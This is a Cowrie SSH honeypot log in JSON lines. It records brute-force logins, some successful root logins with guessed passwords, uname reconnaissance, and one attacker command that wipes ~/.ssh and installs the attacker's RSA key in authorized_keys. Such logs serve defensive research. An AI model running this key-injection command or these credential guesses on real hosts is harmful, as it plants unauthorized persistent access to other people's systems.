{"eventid":"cowrie.command.failed","input":"lockr -ia .ssh","message":"Command not found: lockr -ia .ssh","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T03:58:25.642434Z","src_ip":"113.193.234.210","session":"e2df04bb1cec","protocol":"ssh"}
{"eventid":"cowrie.log.closed","ttylog":"var/lib/cowrie/tty/c32b4937ce8564ea904a3bd2cb64805500ddfd28952a90fd55cb3c85d0be7644","size":32,"shasum":"c32b4937ce8564ea904a3bd2cb64805500ddfd28952a90fd55cb3c85d0be7644","duplicate":true,"duration":"0.2","message":"Closing TTY Log: var/lib/cowrie/tty/c32b4937ce8564ea904a3bd2cb64805500ddfd28952a90fd55cb3c85d0be7644 after 0.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T03:58:25.856140Z","src_ip":"113.193.234.210","session":"e2df04bb1cec","protocol":"ssh"}
{"eventid":"cowrie.session.params","arch":"linux-x64-lsb","message":[],"sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T03:58:26.351171Z","src_ip":"113.193.234.210","session":"e2df04bb1cec","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"cd ~ && rm -rf .ssh && mkdir .ssh && echo \"ssh-rsa AAAAB3NzaC1yc2EAAAABJQAAAQEArDp4cun2lhr4KUhBGE7VvAcwdli2a8dbnrTOrbMz1+5O73fcBOx8NVbUT0bUanUV9tJ2/9p7+vD0EpZ3Tz/+0kX34uAx1RV/75GVOmNx+9EuWOnvNoaJe0QXxziIg9eLBHpgLMuakb5+BgTFB+rKJAw9u9FSTDengvS8hX1kNFS4Mjux0hJOK8rvcEmPecjdySYMb66nylAKGwCEE6WEQHmd1mUPgHwGQ0hWCwsQk13yCGPK5w6hYp5zYkFnvlC8hGmd4Ww+u97k6pfTGTUbJk14ujvcD9iUKQTTWYYjIIu5PmUux5bsZ0R4WFwdIe6+i6rBLAsPKgAySVKPRK+oRw== mdrfckr\">>.ssh/authorized_keys && chmod -R go= ~/.ssh && cd ~","message":"CMD: cd ~ && rm -rf .ssh && mkdir .ssh && echo \"ssh-rsa AAAAB3NzaC1yc2EAAAABJQAAAQEArDp4cun2lhr4KUhBGE7VvAcwdli2a8dbnrTOrbMz1+5O73fcBOx8NVbUT0bUanUV9tJ2/9p7+vD0EpZ3Tz/+0kX34uAx1RV/75GVOmNx+9EuWOnvNoaJe0QXxziIg9eLBHpgLMuakb5+BgTFB+rKJAw9u9FSTDengvS8hX1kNFS4Mjux0hJOK8rvcEmPecjdySYMb66nylAKGwCEE6WEQHmd1mUPgHwGQ0hWCwsQk13yCGPK5w6hYp5zYkFnvlC8hGmd4Ww+u97k6pfTGTUbJk14ujvcD9iUKQTTWYYjIIu5PmUux5bsZ0R4WFwdIe6+i6rBLAsPKgAySVKPRK+oRw== mdrfckr\">>.ssh/authorized_keys && chmod -R go= ~/.ssh && cd ~","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T03:58:26.353960Z","src_ip":"113.193.234.210","session":"e2df04bb1cec","protocol":"ssh"}
{"eventid":"cowrie.session.file_download","duplicate":true,"outfile":"var/lib/cowrie/downloads/a8460f446be540410004b1a8db4083773fa46f7fe76fa84219c93daa1669f8f2","shasum":"a8460f446be540410004b1a8db4083773fa46f7fe76fa84219c93daa1669f8f2","destfile":"/root/.ssh/authorized_keys","message":"Saved redir contents with SHA-256 a8460f446be540410004b1a8db4083773fa46f7fe76fa84219c93daa1669f8f2 to var/lib/cowrie/downloads/a8460f446be540410004b1a8db4083773fa46f7fe76fa84219c93daa1669f8f2","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T03:58:26.575119Z","src_ip":"113.193.234.210","session":"e2df04bb1cec","protocol":"ssh"}
{"eventid":"cowrie.log.closed","ttylog":"var/lib/cowrie/tty/cc1eb03e9b5926d8076e25826664a04400de854bf5cc660fa35eb86cbdf7dc0f","size":0,"shasum":"cc1eb03e9b5926d8076e25826664a04400de854bf5cc660fa35eb86cbdf7dc0f","duplicate":true,"duration":"0.2","message":"Closing TTY Log: var/lib/cowrie/tty/cc1eb03e9b5926d8076e25826664a04400de854bf5cc660fa35eb86cbdf7dc0f after 0.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T03:58:26.579133Z","src_ip":"113.193.234.210","session":"e2df04bb1cec","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"113.193.234.210","src_port":54539,"dst_ip":"159.203.135.109","dst_port":22,"session":"522388041739","protocol":"ssh","message":"New connection: 113.193.234.210:54539 (159.203.135.109:22) [session: 522388041739]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T03:58:26.766304Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.11.1","message":"Remote SSH version: SSH-2.0-libssh_0.11.1","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T03:58:26.770029Z","src_ip":"113.193.234.210","session":"522388041739","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"03a80b21afa810682a776a7d42e5e6fb","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: 03a80b21afa810682a776a7d42e5e6fb","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T03:58:26.980263Z","src_ip":"113.193.234.210","session":"522388041739","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"345gs5662d34","password":"345gs5662d34","message":"login attempt [345gs5662d34/345gs5662d34] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T03:58:27.839724Z","src_ip":"113.193.234.210","session":"522388041739","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.3","message":"Connection lost after 2.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T03:58:29.053820Z","src_ip":"113.193.234.210","session":"522388041739","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"113.193.234.210","src_port":64490,"dst_ip":"159.203.135.109","dst_port":22,"session":"4a7294a7c426","protocol":"ssh","message":"New connection: 113.193.234.210:64490 (159.203.135.109:22) [session: 4a7294a7c426]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T03:58:29.249421Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.11.1","message":"Remote SSH version: SSH-2.0-libssh_0.11.1","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T03:58:29.253708Z","src_ip":"113.193.234.210","session":"4a7294a7c426","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"03a80b21afa810682a776a7d42e5e6fb","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: 03a80b21afa810682a776a7d42e5e6fb","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T03:58:29.460087Z","src_ip":"113.193.234.210","session":"4a7294a7c426","protocol":"ssh"}
{"eventid":"cowrie.login.success","username":"root","password":"3245gs5662d34","message":"login attempt [root/3245gs5662d34] succeeded","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T03:58:30.310244Z","src_ip":"113.193.234.210","session":"4a7294a7c426","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.3","message":"Connection lost after 1.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T03:58:30.518470Z","src_ip":"113.193.234.210","session":"4a7294a7c426","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"6.4","message":"Connection lost after 6.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T03:58:30.533939Z","src_ip":"113.193.234.210","session":"e2df04bb1cec","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"195.178.110.218","src_port":46952,"dst_ip":"159.203.135.109","dst_port":22,"session":"cf2cb1f215ef","protocol":"ssh","message":"New connection: 195.178.110.218:46952 (159.203.135.109:22) [session: cf2cb1f215ef]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T03:59:36.101627Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T03:59:36.107264Z","src_ip":"195.178.110.218","session":"cf2cb1f215ef","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T03:59:36.182866Z","src_ip":"195.178.110.218","session":"cf2cb1f215ef","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"solv","password":"123456","message":"login attempt [solv/123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T03:59:36.428788Z","src_ip":"195.178.110.218","session":"cf2cb1f215ef","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T03:59:37.506496Z","src_ip":"195.178.110.218","session":"cf2cb1f215ef","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"2.57.122.210","src_port":33444,"dst_ip":"10.17.0.5","dst_port":22,"session":"3f06998f15b1","protocol":"ssh","message":"New connection: 2.57.122.210:33444 (10.17.0.5:22) [session: 3f06998f15b1]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T04:00:03.815871Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T04:00:03.820840Z","src_ip":"2.57.122.210","session":"3f06998f15b1","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T04:00:03.926631Z","src_ip":"2.57.122.210","session":"3f06998f15b1","protocol":"ssh"}
{"eventid":"cowrie.login.success","username":"root","password":"eigenlayer","message":"login attempt [root/eigenlayer] succeeded","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T04:00:04.232846Z","src_ip":"2.57.122.210","session":"3f06998f15b1","protocol":"ssh"}
{"eventid":"cowrie.session.params","arch":"linux-x64-lsb","message":[],"sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T04:00:04.528813Z","src_ip":"2.57.122.210","session":"3f06998f15b1","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"/bin/./uname -s -v -n -r -m","message":"CMD: /bin/./uname -s -v -n -r -m","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T04:00:04.543944Z","src_ip":"2.57.122.210","session":"3f06998f15b1","protocol":"ssh"}
{"eventid":"cowrie.log.closed","ttylog":"var/lib/cowrie/tty/876deb10d4cf5b5c092011cec255ceaeaef66174cc3b5964b8eb53b60d9cab81","size":71,"shasum":"876deb10d4cf5b5c092011cec255ceaeaef66174cc3b5964b8eb53b60d9cab81","duplicate":true,"duration":"0.1","message":"Closing TTY Log: var/lib/cowrie/tty/876deb10d4cf5b5c092011cec255ceaeaef66174cc3b5964b8eb53b60d9cab81 after 0.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T04:00:04.671764Z","src_ip":"2.57.122.210","session":"3f06998f15b1","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"0.9","message":"Connection lost after 0.9 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T04:00:04.679659Z","src_ip":"2.57.122.210","session":"3f06998f15b1","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"195.178.110.218","src_port":39274,"dst_ip":"159.203.135.109","dst_port":22,"session":"0ced4fc4a937","protocol":"ssh","message":"New connection: 195.178.110.218:39274 (159.203.135.109:22) [session: 0ced4fc4a937]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T04:02:14.633648Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T04:02:14.638165Z","src_ip":"195.178.110.218","session":"0ced4fc4a937","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T04:02:14.718408Z","src_ip":"195.178.110.218","session":"0ced4fc4a937","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"2.57.122.210","src_port":36180,"dst_ip":"10.17.0.5","dst_port":22,"session":"f63d433a699d","protocol":"ssh","message":"New connection: 2.57.122.210:36180 (10.17.0.5:22) [session: f63d433a699d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T04:02:14.926777Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T04:02:14.930873Z","src_ip":"2.57.122.210","session":"f63d433a699d","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"sol","password":"firedancer","message":"login attempt [sol/firedancer] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T04:02:14.957136Z","src_ip":"195.178.110.218","session":"0ced4fc4a937","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T04:02:15.031418Z","src_ip":"2.57.122.210","session":"f63d433a699d","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"ubuntu","password":"eigenlayer","message":"login attempt [ubuntu/eigenlayer] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T04:02:15.334663Z","src_ip":"2.57.122.210","session":"f63d433a699d","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T04:02:16.040967Z","src_ip":"195.178.110.218","session":"0ced4fc4a937","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T04:02:16.439550Z","src_ip":"2.57.122.210","session":"f63d433a699d","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"193.46.255.86","src_port":47311,"dst_ip":"10.17.0.5","dst_port":22,"session":"ee8ec15d7e9c","protocol":"ssh","message":"New connection: 193.46.255.86:47311 (10.17.0.5:22) [session: ee8ec15d7e9c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T04:02:41.815015Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh2_1.9.0","message":"Remote SSH version: SSH-2.0-libssh2_1.9.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T04:02:41.819604Z","src_ip":"193.46.255.86","session":"ee8ec15d7e9c","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"57446c12547a668110aa237e5965e374","hasshAlgorithms":"ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,curve25519-sha256,curve25519-sha256@libssh.org,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1;aes128-ctr,aes192-ctr,aes256-ctr,aes256-cbc,rijndael-cbc@lysator.liu.se,aes192-cbc,aes128-cbc,blowfish-cbc,arcfour128,arcfour,cast128-cbc,3des-cbc;hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96,hmac-md5,hmac-md5-96,hmac-ripemd160,hmac-ripemd160@openssh.com;none","kexAlgs":["ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","curve25519-sha256","curve25519-sha256@libssh.org","diffie-hellman-group-exchange-sha256","diffie-hellman-group-exchange-sha1","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1"],"keyAlgs":["ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ssh-ed25519","ssh-rsa","ssh-dss"],"encCS":["aes128-ctr","aes192-ctr","aes256-ctr","aes256-cbc","rijndael-cbc@lysator.liu.se","aes192-cbc","aes128-cbc","blowfish-cbc","arcfour128","arcfour","cast128-cbc","3des-cbc"],"macCS":["hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96","hmac-md5","hmac-md5-96","hmac-ripemd160","hmac-ripemd160@openssh.com"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 57446c12547a668110aa237e5965e374","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T04:02:41.956527Z","src_ip":"193.46.255.86","session":"ee8ec15d7e9c","protocol":"ssh"}
